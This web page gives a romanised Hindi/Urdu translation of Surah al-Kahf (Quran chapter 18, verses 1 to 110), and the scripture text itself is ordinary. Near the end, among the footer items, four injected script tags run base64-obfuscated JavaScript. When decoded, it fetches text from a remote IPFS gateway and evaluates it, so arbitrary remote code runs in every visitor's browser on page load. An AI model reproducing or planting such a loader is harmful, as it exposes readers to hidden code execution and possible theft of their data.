अल-कहफ़
al-kahaf - 110 ayatean, 12 ruku makka soora
al-kahaf islam dharm ke pavitr granth quran ka 18vaan soora (adhyay) hai jisamean 110 ayatean hoti haian.
18:1 - har tarah ki tariph khuda hi ko (sazavar) hai jisane apane bande (mohammad) par kitab (quran) nazil ki aur usamean kisi tarah ki kazi (kharabi) n rakhi
18:2 - balki har tarah se sadha taki jo sakht azab khuda ki baragah se kaphiroan par nazil hone vala hai usase logoan ko darae aur jin mominin ne achchhe achchhe kam kie haian unako is bat ki khushakhabari de ki unake lie bahut achchha ajr (v savab) maujood hai
18:3 - jisamean vah hamesha (baitmenan) tamam rahegean
18:4 - aur jo log isake qael haian ki khuda aulad rakhata hai unako (azab se) darao
18:5 - n to unhian ko usaki kuchh khabar hai aur n unake bap dadaoan hi ko thi (ye) b di sakht bat hai jo unake muanh se nikalati hai ye log jhooth mooth ke siva (kuchh aur) bolate hi nahian
18:6 - to (ai rasool) agar ye log is bat ko n mane to yayad tum mare afasos ke unake pichhe apani jan de daloge
18:7 - aur jo kuchh rue zamin par hai hamane usaki zinat (raunaq) qarar di taki ham logoan ka imtihan lean ki unamean se kaun sabase achchha chalan ka hai
18:8 - aur (phir) ham ek n ek din jo kuchh bhi is par hai (sabako mita karake) chatiyal maidan bana degean
18:9 - (ai rasool) kya tum ye khyal karate ho ki asahab kahaph v raqim (khoh) aur (takhti vale) hamari (qudarat ki) nishaniyoan mean se ek ajib (nishani) the
18:10 - ki ek baragi kuchh javan gar mean a pahuanche aur dua ki-ai hamare paravaradigar hamean apani baragah se rahamat ata pharama-aur hamare vaste hamare kam mean kamayabi inayat kar
18:11 - tab hamane kee baras tak gar mean unake kanoan par parde dal die (unhean sula diya)
18:12 - phir hamane unhean chaukaya taki ham dekhean ki do girohoan mean se kisi ko (gar mean) thaharane ki muddat khoob yad hai
18:13 - (ai rasool) ab ham unaka hal tumase bilkul thik tahaqiqatan (yaqin ke sath) bayan karate haian vah chand javan the ki apane (sachche) paravaradigar par eeman lae the aur ham ne unaki soch samajh aur jyada kar di hai
18:14 - aur hamane unaki diloan par (sabr v isteqalal ki) girah laga di (ki jab daqiyanoos badashah ne kuphr par majaboor kiya) to uth kh de hue (aur be tammul (khatake)) kahane lage hamara paravaradigar to bas sare asaman v zamin ka malik hai ham to usake siva kisi mabood ki haragiz ibadat n karegean
18:15 - agar ham aisa kare to yaqinan hamane aqal se door ki bat kahi (afasos ek) ye hamari qaum ke log haian kijinhoanne khuda ko chho dakar (doosare) mabood banae haian (phir) ye log unake (mabood hone) ki koee sarihi (khuli) dalil kyoan nahian pesh karate aur jo shakhsh khuda par jhoot bohatan baandhe usase jyada zalim aur kaun hoga
18:16 - (phir baham kahane lage ki) jab tumane un logoan se aur khuda ke siva jin maboodoan ki ye log parasatish karate haian unase kinara kashi karali to chalo (phal aau) gar mean ja baitho aur tumhara paravaradigar apani rahamat tum par vasih kar dega aur tumhara kam mean tumhare lie asani ke saman muhayya karega
18:17 - (garaz ye than kar gar mean ja pahuanche) ki jab sooraj nikalata hai to dekhega ki vah unake gar se dahini taraph jhuk kar nikalata hai aur jab gurub (dubata) hota hai to unase bayian taraph katara jata hai aur vah log (maje se) gar ke andar ek vasii (b di) jagah mean (lete) haian ye khuda (ki kudarat) ki nishaniyoan mean se (ek nishani) hai jisako hidayat kare vahi hidayat yaphta hai aur jis ko gumarah kare to phir usaka koee saraparast rahanuma haragiz n paoge
18:18 - too unako samajhega ki vah jagate haian hal aauki vah (gahari niand mean) so rahe haian aur ham kabhi dahini taraph aur kabhi bayian taraph unaki karavat badalava dete haian aur unaka kuttaa apane age ke dono paanv phailae chaukhat par data baitha hai (unaki ye halat hai ki) agar kahian too unako jhak kar dekhe to ulate paanv zarur bhag kh de ho aur tere dil mean dahashat sama jae
18:19 - aur (jis tarah apani kudarat se unako sulaya) usi tarah (apani kudarat se) unako (jaga) uthaya taki apas mean kuchh poochh gachh karean (garaz) unamean ek bolane vala bol utha ki (bhee akhir is gar mean) tum kitani muddat thahare kahane lage (are thahare kya bas) ek din se bhi kam usake bad kahane lage ki jitani der tum gar mean thahare usako tumhare paravaradigar hi (kuchh tum se) behatar janata hai (achchha) to ab apane mean se kisi ko apana ye rupaya dekar shahar ki taraph bhejo to vah (jakar) dekhabhal le ki vahaan kaun sa khana bahut achchha hai phir usamean se (zarurat bhar) khana tumhare vaste le ae aur use chahie ki vah ahista chupake se a jae aur kisi ko tumhari khabar n hone de
18:20 - isamean shaq nahian ki agar un logoan ko tumhari ittelaa ho gee to bas phir tum ko sangasar hi kar deangean ya phir tum ko apane din ki taraph pher kar le jaeange aur agar aisa hua to phir tum kabhi kamayab n hoge
18:21 - aur hamane yooan unaki qaum ke logoan ko unaki halat par ittelaa (khabar) karaee taki vah log dekh lean ki khuda ko vayada yaqinan sachcha hai aur ye (bhi samajh lean) ki qayamat (ke ane) mean kuchh bhi shubaha nahian ab (ittilaa hone ke bad) unake bare mean log baham jhag dane lage to kuchh logoan ne kaha ki unake (gar) par (bataur yadagar) koee imarat bana do unaka paravaradigar to unake hal se khoob vaqiph hai hi aur unake bare mean jin (mominin) ki rae galib rahi unhoanne kaha ki ham to un (ke gar) par ek masjid banaeangean
18:22 - qarib hai ki log (nusaire nazaran) kahegean ki vah tin adami the chautha unaka kuttaa (qatamir) hai aur kuchh log (aqib vagairah) kahate haian ki vah paanch adami the chhatha unaka kuttaa hai (ye sab) gaib mean atakal lagate haian aur kuchh log kahate haian ki sat adami haian aur athavaan unaka kuttaa hai (ai rasool) tum kah do ki unaka sumar mera paravaradigar hi khab janata hai un (ki ginati) ke thode hi log janate haian to (ai rasool) tum (un logoan se) asahab kahaph ke bare mean sarasari guphtagoo ke siva (jyada) n jhag doan aur unake bare mean un logoan se kisi se kuchh poochh gachh nahian
18:23 - aur kisi kam ki nisbat n kaha karo ki mai isako kal karuanga
18:24 - magar insha allah kah kar aur agar (insha allah kahana) bhool jao to (jab yad ae) apane paravaradigar ko yad kar lo (insha allah kah lo) aur kaho ki ummid hai ki mera paravaradigar mujhe aisi bat ki hidayat pharamae jo rahanumaee mean usase bhi jyada qarib ho
18:25 - aur asahab kahaph apane gar mean nau oopar tin sau baras rahe
18:26 - (ai rasool) agar vah log is par bhi n manean to tum kah do ki khuda unake thaharane ki muddat se bakhoobi vaqiph hai sare asaman aur zamin ka gaib usi ke vaste khas hai (allah ho akabar) vo kaisa dekhane vala kya hi sunane vala hai usake siva un logoan ka koee saraparast nahian aur vah apane hukm mean kisi ko apana dakhil (sharik) nahian banata
18:27 - aur (ai rasool) jo kitab tumhare paravaradigar ki taraph se vahi ke zarie se nazil hueehai usako padha karo usaki batoan ko koee badal nahian sakata aur tum usake siva kahian koee haragiz panah ki jagah (bhi) n paoge
18:28 - aur (ai rasool) jo log apane paravaradigar ko subah savere aur jhatapat vakt sham ko yad karate haian aur usaki khushanoodi ke khvahaan haian unake unake sath tum khud (bhi) apane naphas par jabr karo aur unaki taraph se apani nazar (tavajjo) n phero ki tum duniya mean zindagi ki araish chahane lago aur jisake dil ko hamane (goya khud) apane zikr se gaphil kar diya hai aur vah apani khvahishe naphasani ke pichhe p da hai aur usaka kam sarasar jyadati hai usaka kahana haragiz n manana
18:29 - aur (ai rasool) tum kah doan ki sachchi bat (kalame tauhid) tumhare paravaradigar ki taraph se (nazil ho chuki hai) bas jo chahe mane aur jo chahe n mane (magar) hamane zalimoan ke lie vah ag (dahaka ke) taiyar kar rakhi hai jisaki qanatean unhean gher legi aur agar vah log dohaee karegean to unaki phariyad rasi khaulate hue pani se ki jaegi jo masalan pighale hue tabean ki tarah hoga (aur) vah muanh ko bhoon dalega kya bura pani hai aur (jahannum bhi) kya buri jagah hai
18:30 - isamean shaq nahian ki jin logoan ne eeman kubool kiya aur achchhe achchhe kam karate rahe to ham haragiz achchhe kam valo ke ajr ko akarat nahian karate
18:31 - ye vahi log haian jinake (rahane sahane ke) lie sadabahar (behasht ke) bagat haian unake (makanat ke) niche naharean jari hogian vah un bagat mean damakate hue kundan ke kangan se sanvare jaanegean aur unhean barik resham (kreb) aur dabiz reshm (vaphate)ke dhani jo de pahanae jaeangean aur takhtoan par takie lagae (baithe) hogean kya hi achchha badala hai aur (behasht bhi asaish ki) kaisi achchhi jagah hai
18:32 - aur (ai rasool) in logoan se un do shakhshoan ki misal bayan karo ki unamean se ek ko hamane aangoor ke do bag de rakhe hai aur hamane charo or khajoor ke pe d laga diye hai aur un donoan bag ke daramiyan kheti bhi lagaee hai
18:33 - vah donoan bag khoob phal lae aur phal lane mean kuchh kami nahian ki aur hamane un donoan bagoan ke daramiyan nahar bhi jari kar di hai
18:34 - aur use phal mila to apane sathi se jo usase batean kar raha tha bol utha ki mai to tujhase mal mean (bhi) jyada hooan aur jatthe mean bhi badh kar hooan
18:35 - aur ye batean karata hua apane bag me bhi ja pahuancha hal aauki usaki adat ye thi ki (kuphr ki vajah se) apane oopar ap zulm kar raha tha (garaz vah kah baitha) ki mujhe to isaka guman nahian to ki kabhi bhi ye bag uj d jae
18:36 - aur mai to ye bhi nahian khyal karata ki qayamat qayam hogi aur (bilagaraz huee bhi to) jab mai apane paravaradigar ki taraph lautaya jaooanga to yaqinan isase kahian achchhi jagah paooanga
18:37 - usaka sathi jo usase batean kar raha tha kahane laga ki kya too us paravaradigar ka munkir hai jisane (pahale) tujhe mitti se paida kiya phir nutphe se phir tujhe bilkul thik mard (adami) bana diya
18:38 - ham to (kahate haian ki) vahi khuda mera paravaradigar hai aur mai to apane paravaradigar ka kisi ko sharik nahian banata
18:39 - aur jab too apane bag mean aya to (ye) kyoan n kaha ki ye sab (masha allah khuda hi ke chahane se hua hai (mera kuchh bhi nahian kyoanki) bagair khuda ki (madad) ke (kisi mean) kuchh sakat nahian agar mal aur aulad ki rah se too mujhe kam samajhata hai
18:40 - to anaqirab hi mera paravaradigar mujhe vah bag ata pharamaega jo tere bag se kahian behatar hoga aur tere bag par koee aisi aphat asaman se nazil kare ki (khak siyah) hokar chatiyal chikana safachat maidan ho jae
18:41 - usaka pani niche utar (ke khushk) ho jae phir to usako kisi tarah talab n kar sake
18:42 - (chunanche azab nazil hua) aur usake (bag ke) phal (aphat mean) gher lie ge to us mal par jo bag ki taiyari mean sarph (kharch) kiya tha (afasos se) hath malane laga aur bag ki ye halat thi ki apani tahaniyoan par auandha gira hua p da tha to kahane laga kash mai apane paravaradigar ka kisi ko sharik n banata
18:43 - aur khuda ke siva usaka koee jattha bhi n tha ki usaki madad karata aur n vah badala le sakata tha isi jagah se (sabit ho gaya
18:44 - ki saraparasti khas khuda hi ke lie hai jo sachcha hai vahi behatar savab (dene) vala hai aur anjam ke jangal se bhi vahi behatar hai
18:45 - aur (ai rasool) inase duniya ki zindagi ki masal bhi bayan kar do ki usake halat pani ki si hai jise hamane asaman se barasaya to zamin ki ugane ki taqat usamean mil gee aur (khoob phali phooli) phir akhir reza reza (bhoosa) ho gee ki usako havaean u dae phirati hai aur khuda har chiz par qadir hai
18:46 - (ai rasool) mal aur aulad (is zara si) duniya ki zindagi ki zinat haian aur baqi rahane vali nekiyaan tumhare paravaradigar ke nazadik savab mean usase kahi jyada achchhi haian aur tamannaean v arajoo ki rah se (bhi) behatar haian
18:47 - aur (us din se daro) jis din ham paha doan ko chalaeangean aur tum zamin ko khula maidan (paha doan se) khali dekhoge aur ham in sabhi ko ikattha karege to unamean se ek ko n chho degean
18:48 - sabake sab tumhare paravaradigar ke samane katar pe qatar pesh kie jaeangean aur (us vakt ham yad dilaeange ki jis tarah hamane tumako pahali bar paida kiya tha (usi tarah) tum logoan ko (akhir) hamare pas ana p da magar tum to ye khyal karate the ki ham tumhare (dobara paida karane ke) lie koee vakt hi n thaharaeangean
18:49 - aur logoan ke amal ki kitab (samane) rakhi jaeangi to tum gunehagaroan ko dekhoge ki jo kuchh usamean (likha) hai (dekh dekh kar) sahame hue haian aur kahate jate haian hae hamari yamat ye kaisi kitab hai ki n chhote hi gunah ko be qalamaband kie chho dati hai n b de gunah ko aur jo kuchh in logoan ne (duniya mean) kiya tha vah sab (likha hua) maujood paeangean aur tera paravaradigar kisi par (zarra barabar) zulm n karega
18:50 - aur (vah vakt yad karo) jab hamane farishtoan ko hukm diya ki adam ko sajada karo to ibalis ke siva sabane sajada kiya (ye ibalis) jinnat se tha to apane paravaradigar ke hukm se nikal bhaga to (logoan) kya mujhe chho dakar usako aur usaki aulad ko apana dost banate ho hal aauki vah tumhara (qadimi) dushman haian zalimoan (ne khuda ke badale shaitan ko apana dost banaya ye un) ka kya bura aivaz hai
18:51 - maine n to asaman v zamin ke paida karane ke vakt unako (madad ke lie) bulaya tha aur n khud unake paida karane ke vakt aaur mai (aisa gaya guzara) n tha ki mai gumarah karane valoan ko madadagar banata
18:52 - aur (us din se daro) jis din khuda pharamaega ki ab tum jin logoan ko mera shariq khyal karate the unako (madad ke lie) pukaro to vah log unako pukaregean magar vah log unaki kuchh n sunegean aur ham un donoan ke bich mean mahalak (khataranak) a d bana deange
18:53 - aur gunehagar log (dekhakar samajh jaeangean ki ye isamean soke jaeange aur usase gariz (bachane ki) ki rah n paeangean
18:54 - aur hamane to is quran mean logoan (ke samajhane) ke vaste har tarah ki misalean pher badal kar bayan kar di hai magar insan to tamam makhalooqat se jyada jhag daloo hai
18:55 - aur jab logoan ke pas hidayat a chuki to (phir) unako eeman lane aur apane paravaradigar se magaphirat ki dua maangane se (usake siva aur kaun) amr mayane hai ki agaloan ki si rit rasm unako bhi pesh aee ya hamara azab unake samane se (maujood) ho
18:56 - aur ham to paigambaroan ko sirph isalie bhejate haian ki (achchhoan ko nijat ki) khushakhabari sunaeanaur (badoan ko azab se) daraeanaur jo log kaphir haian jhooti jhooti batoan ka sahara pak d ke jhag da karate hai taki usaki badaulat haq ko (usaki jagah se ukha d phekean aur un logoan ne meri ayatoan ko jis (azab se) ye log darae ge hॅsi thththa (mazak) bana rakha hai
18:57 - aur usase badhakar aur kaun zalim hoga jisako khuda ki ayatean yad dilaee jae aur vah unase rad giradani (muanh pher le) kare aur apane pahale karatootoan ko jo usake hathoan ne kie haian bhool baithe (goya) hamane khud unake diloan par parade dal die haian ki vah (haq bat ko) n samajh sakean aur (goya) unake kanoan mean girani paida kar di hai ki (sun n sakean) aur agar tum unako rahe rast ki taraf bulao bhi to ye haragiz kabhi rubaru hone vale nahian haian
18:58 - aur (ai rasool) tumhara paravaradigar to b da bakhshane vala meharaban hai agar unaki karatootoan ki saza mean dhar pak d karata to phauran (duniya hi mean) un par azab nazil kar deta magar unake lie to ek miyad (muqarrar) hai jisase khuda ke siva kahiean panah ki jagah n paeangean
18:59 - aur ye bastiyaan (jinhean tum apani aauankhoan se dekhate ho) jab un logoan ne sarakashi to hamane unhean halak kar mara aur hamane unaki halakat ki miyad muqarrar kar di thi
18:60 - (ai rasool) vah vaqaya yad karo jab moosa khizr ki mulaqat ko chale to apane javan vasi yoosha se bole ki jab tak mean donoan dariyaoan ke milane ki jagah n pahuanch jaooan (chalane se) baz n aooanga
18:61 - khvah (agar mulaqat n ho to) barasoan yooan hi chalata jaooanga phir jab ye donoan un donoan dariyaoan ke milane ki jagah pahuanche to apani (bhuni huee) machhali chho d chale to usane dariya mean surang banakar apani rah li
18:62 - phir jab kuchh aur age badh ge to moosa ne apane javan (vasi) se kaha (aji hamara nashta to hamean de do hamare (aj ke) is saphar se to hamako b di thakan ho gee
18:63 - (yoosha ne) kaha kya ap ne dekha bhi ki jab ham log (dariya ke kinare) us patthar ke pas thahare to mai (usi jagah) machhali chho d aya aur mujhe ap se usaka zikr karana shaitan ne bhula diya aur machhali ne ajib tarah se dariya mean apani rah li
18:64 - moosa ne kaha vahi to vah (jagah) hai jisaki ham justajoo (talash) mean the phir donoan apane qadam ke nishanoan par dekhate dekhate ulate p aauv phire
18:65 - to (jahaan machhali thi) donoan ne hamare bandoan mean se ek (khas) banda khijr ko paya jisako hamane apani baragah se rahamat (vilayat) ka hissa ata kiya tha
18:66 - aur hamane use ilm ladunni (apane khas ilm) mean se kuchh sikhaya tha moosa ne un (khijr) se kaha kya (apaki ijazat hai ki) mai is garaz se apake sath sath rahooan
18:67 - ki jo rahanumaee ka ilm apako hai (khuda ki taraph se) sikhaya gaya hai usamean se kuchh mujhe bhi sikha dijie khijr ne kaha (mai sikha dooanga magar) apase mere sath sabr n ho sakega
18:68 - aur (sach to ye hai) jo chiz apake ilmi ahate se bahar ho
18:69 - us par ap sabr kyoankar kar sakate haian moosa ne kaha (ap itminan rakhie) agar khuda ne chaha to ap mujhe sabir adami paeangean
18:70 - aur mai apake kisi hukm ki napharamani n karuanga khijr ne kaha achchha to agar ap ko mere sath rahana hai to jab tak mai khud apase kisi bat ka zikr n chhedan
18:71 - ap mujhase kisi chiz ke bare mean n poochhiyega garaz ye dono (milakar) chal kh de hue yahaan tak ki (ek dariya mean) jab donoan kashti mean savar hue to khijr ne kashti mean chhed kar diya moosa ne kaha (ap ne to gazab kar diya) kya kashti mean is garaz se surakh kiya hai
18:72 - ki logoan ko duba dijie ye to ap ne b di ajib bat ki hai-khijr ne kaha kya maine ap se (pahale hi) n kah diya tha
18:73 - ki ap mere sath haragiz sabr n kar sakege-moosa ne kaha achchha jo hua so hua ap meri giraphat n kijie aur mujh par mere is mamale mean itani sakhti n kijie
18:74 - (khair ye to ho gaya) phir donoan ke donoan age chale yahaan tak ki donoan ek l dake se mile to us bande khuda ne use jan se mar dala moosa ne kaha (ai maz allah) kya apane ek masoom shakhsh ko mar dala aur vah bhi kisi ke (khauph ke) badale mean nahian apane to yaqini ek ajib harakat ki
18:75 - khijr ne kaha ki maianne apase (muqarrar) n kah diya tha ki ap mere sath haragiz nahian sabr kar sakegean
18:76 - moosa ne kaha (khair jo hua vah hua) ab agar maian ap se kisi chiz ke bare mean poochhagachh karooanga to ap mujhe apane sath n rakhiyega beshak ap meri taraph se mazarat (ki had ko) pahuanch ge
18:77 - garaz (ye sab ho hua kar phir) donoan age chale yahaan tak ki jab ek gaanv valoan ke pas pahuanche to vahaan ke logoan se kuchh khane ko maanga to un logoan ne donoan ko mehaman banane se inkar kar diya phir un donoan ne usi gaanv mean ek divar ko dekha ki gira hi chahati thi to khijr ne use sidha kh da kar diya us par moosa ne kaha agar ap chahate to (in logoan se) isaki mazadoori le sakate the
18:78 - (taki khane ka sahara hota) khijr ne kaha mere aur apake daramiyan chhuttam chhutta ab jin batoan par ap se sabr n ho saka maian abhi ap ko unaki asal haqikat batae deta hooan
18:79 - (lijie suniye) vah kashti (jisamean maianne surakh kar diya tha) to chand gariboan ki thi jo dariya mean mehanat karake guzara karate the maianne chaha ki use aibadar bana dooan (kyoanki) unake pichhe-pichhe ek (zalim) badashah (ata) tha ki tamam kashtiyaan zabaradasti begar mean pak d leta tha
18:80 - aur vah jo l daka jisako maianne mar dala to usake maan bap donoan (sachche) eemanadar haian to mujhako ye andesha hua ki (aisa n ho ki b da hokar) unako bhi apane sarakashi aur kufr mean phansa de
18:81 - to hamane chaha ki (ham usako mar dale aur) unaka paravaradigar isake badale mean aisa pharazand ata pharamae jo usase pak nafasi aur pak karabat mean behatar ho
18:82 - aur vah jo divar thi (jise maianne kh da kar diya) to vah shahar ke do yatim l dakoan ki thi aur usake niche unhian donoan l dakoan ka khazana (g da hua tha) aur un l dakoan ka bap ek nek adami tha to tumhare paravaradigar ne chaha ki donoan l dake apani javani ko pahuanche to tumhare paravaradigar ki meharabani se apana khazane nikal le aur maianne (jo kuchh kiya) kuchh apane ekhtiyar se nahian kiya (balki khuda ke hukm se) ye haqiqat hai un vaqayat ki jin par apase sabr n ho saka
18:83 - aur (ai rasool) tumase log zulaqaranain ka hal (imtehan) poochha karate haian tum unake javab mean kah do ki maian bhi tumhean usaka kuchh hal bata deta hooan
18:84 - (khuda pharamata hai ki) beshak hamane unako zamin par kudaratean hukoomat ata ki thi aur hamane use har chiz ke saz v saman de rakhe the
18:85 - vah ek saman (saphar ke) pichhe p da
18:86 - yahaan tak ki jab (chalate-chalate) aphatab ke guroob hone ki jagah pahuancha to aphatab unako aisa dikhaee diya ki (goya) vah kali kich d ke chashmean mean doob raha hai aur usi chashmean ke qarib ek qaum ko bhi abad paya hamane kaha ai julakaranain (tumako ekhtiyar hai) khvah inake kuphr ki vajah se inaki saza karo (ki eeman lae) ya inake sath husne sulook ka sheva ekhtiyar karo (ki khud eeman qubool karean)
18:87 - julakaranain ne arz ki jo shakhs sarakashi karega to ham usaki phauran saza kar degean (akhir) phir vah (qayamat mean) apane paravaradigar ke samane lautakar laya hi jaega aur vah buri se buri saza dega
18:88 - aur jo shakhs eeman kubool karega aur achchhe kam karega to (vaisa hi) usake lie achchhe se achchha badala hai aur ham bahut jald use apane kamoan mean se asan kam (karane) ko kaheange
18:89 - phir us ne ek doosari rah ekhtiyar ki
18:90 - yahaan tak ki jab chalate-chalate aphatab ke tooloou hone ki jagah pahuancha to (aphatab) se aisa hi dikhaee diya (goya) kuchh logoan ke sar par us tarah tuloou kar raha hai jin ke lie hamane aphatab ke samane koee a d nahian banaya tha
18:91 - aur tha bhi aisa hi aur julaqaranain ke pas vo kuchh bhi tha hamako usase poori vakafiyat thi
18:92 - (garaz) usane phir ek aur rah ekhtiyar ki
18:93 - yahaan tak ki jab chalate-chalate rom mean ek paha d ke (kanguroan ke) divaroan ke bicho bich pahuanch gaya to un donoan divaroan ke is taraph ek qaum ko (abad) paya to bat chit kuchh samajh hi nahian sakati thi
18:94 - un logoan ne mutarajjim ke zarie se arz ki ai zulakaranain (isi ghati ke udhar yajooj majooj ki qaum hai jo) mulk mean fasad phailaya karate haian to agar ap ki ijazat ho to ham log is garz se apase pas chanda jama karean ki ap hamare aur unake daramiyan koee divar bana dean
18:95 - julakaranain ne kaha ki mere paravaradigar ne kharch ki jo kudarat mujhe de rakhi hai vah (tumhare chande se) kahian behatar hai (mal ki zaroorat nahian) tum phaqat mujhe qoovat se madad do to maian tumhare aur unake daramiyan ek rok bana dooan
18:96 - (achchha to) mujhe (kahian se) lohe ki sile la do (chunanche vah log) lae aur ek b di divar banaee yahaan tak ki jab dono kangooro ke darameyan (divar) ko buland karake unako barabar kar diya to unako hukm diya ki isake gird ag lagakar dhauko yahaan tak usako (dhauankate-dhauankate) lal aangara bana diya
18:97 - to kaha ki ab hamako taanba do ki isako pighalakar is divar par uandel dean (garaz) vah aisi ooanchi mazaboot divar bani ki n to yajooj v majooj us par chadh hi sakate the aur n usamean naqab laga sakate the
18:98 - julaqaranain ne (divar ko dekhakar) kaha ye mere paravaradigar ki meharabani hai magar jab mere paravaradigar ka vayada (qayamat) ayega to ise dhaha kar hamavar kar dega aur mere paravaradigar ka vayada sachcha hai
18:99 - aur ham us din (unhean unaki halat par) chho d deange ki ek doosare mean (takara ke dariya ki) laharoan ki tarah gu damu d ho jaean aur soor phooanka jaega to ham sab ko ikattha kareange
18:100 - aur usi din jahannum ko un kaphiroan ke samane khullam khulla pesh kareange
18:101 - aur usi (rasool ki dushmani ki sachchi bat) kuchh bhi sun hi n sakate the
18:102 - to kya jin logoan ne kuphr ekhtiyar kiya is khyal mean haian ki hamako chho dakar hamare bandoan ko apana saraparast bana lean (kuchh poochhagachh n hogi) (achchha suno) hamane kaphiroan ki mehamanadari ke lie jahannum taiyar kar rakhi hai
18:103 - (ai rasool) tum kah do ki kya ham un logoan ka pata bata dean jo log amal ki haisiyat se bahut ghate mean haian
18:104 - (ye) vah log (haian) jin ki duniyavi zindagi ki raee (koshish sab) akarat ho gee aur vah us kham khyal mean haian ki vah yaqinan achchhe-achchhe kam kar rahe haian
18:105 - yahi vah log haian jinhoanne apane paravaradigar ki ayatoan se aur (qayamat ke din) usake samane hazir hone se inkar kiya to unaka sab kiya karaya akarat hua to ham usake lie qayamat ke din mijan hisab bhi qayam n kareange
18:106 - (aur sidhe jahannum mean jhoank degean) ye jahannum unaki karatootoan ka badala hai ki unhoanne kuphr ekhtiyar kiya aur meri ayatoan aur mere rasooloan ko hansi thaththa bana liya
18:107 - beshak jin logoan ne eeman qubool kiya aur achchhe-achchhe kam kiye unaki mehamanadari ke lie phiradaus (bari) ke bagat hoange jinamean vah hamesha raheange
18:108 - aur vahaan se hilane ki bhi khvahish n kareange
18:109 - (ai rasool un logoan se) kaho ki agar mere paravaradigar ki batoan ke (likhane ke) vaste samandar (ka pani) bhi siyahi ban jae to qabl usake ki mere paravaradigar ki batean khatm hoan samandar hi khatm ho jaega agarache ham vaisa hi ek samandar us ki madad ko laane
18:110 - (ai rasool) kah do ki maian bhi tumhara hi aisa ek adami hooan (farq itana hai) ki mere pas ye vahi aee hai ki tumhare mabood yakata mabood haian to vo shakhs arazoomand hokar apane paravaradigar ke samane hazir hoga to use achchhe kam karane chahie aur apane paravaradigar ki ibadat mean kisi ko sharik n karean
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>